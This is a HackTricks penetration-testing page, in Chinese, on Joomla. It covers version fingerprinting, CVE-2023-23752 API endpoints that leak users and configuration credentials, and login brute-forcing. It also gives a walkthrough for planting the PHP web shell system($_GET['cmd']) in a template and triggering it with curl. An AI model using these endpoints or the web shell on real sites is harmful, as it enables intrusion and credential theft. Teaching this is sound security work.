Joomla
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Joomla 收集一些匿名的 使用统计数据,例如 Joomla、PHP 和数据库版本以及在 Joomla 安装中使用的服务器操作系统的细分。这些数据可以通过他们的公共 API 查询。
检查 meta
robots.txt
README.txt
在 /administrator/manifests/files/joomla.xml 中可以看到版本。
在 /language/en-GB/en-GB.xml 中可以获取 Joomla 的版本。
在 plugins/system/cache/cache.xml 中可以看到一个大致的版本。
在 80,443 - Pentesting Web Methodology 是关于 CMS 扫描器的一个部分,可以扫描 Joomla。
版本从 4.0.0 到 4.2.7 存在未经身份验证的信息泄露漏洞 (CVE-2023-23752),将泄露凭据和其他信息。
用户: http://<host>/api/v1/users?public=true
配置文件: http://<host>/api/index.php/v1/config/application?public=true
MSF 模块: scanner/http/joomla_api_improper_access_checks
或 ruby 脚本: 51334
您可以使用这个 脚本 尝试进行登录暴力破解。
如果你成功获取了 admin credentials,你可以通过向 模板 添加一段 PHP 代码 来 RCE。我们可以通过 自定义 一个 模板 来实现。
点击 左下角的 Templates
在 Configuration
下拉出模板菜单。
点击 一个 模板 名称。我们选择 protostar
在 Template
列标题下。这将带我们到 Templates: Customise
页面。
最后,你可以点击一个页面以拉出 页面源代码。我们选择 error.php
页面。我们将添加一个 PHP 一行代码以获得代码执行,如下所示:
system($_GET['cmd']);
保存并关闭
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
JoomSploit:Joomla 利用脚本,可以 将 XSS 升级为 RCE 或其他关键漏洞。更多信息请查看 这篇文章。它支持 Joomla 版本 5.X.X、4.X.X 和 3.X.X,并允许:
权限提升: 在 Joomla 中创建用户。
(RCE) 内置模板编辑: 编辑 Joomla 中的内置模板。
(自定义) 自定义利用: 针对第三方 Joomla 插件的自定义利用。
学习和实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) 学习和实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)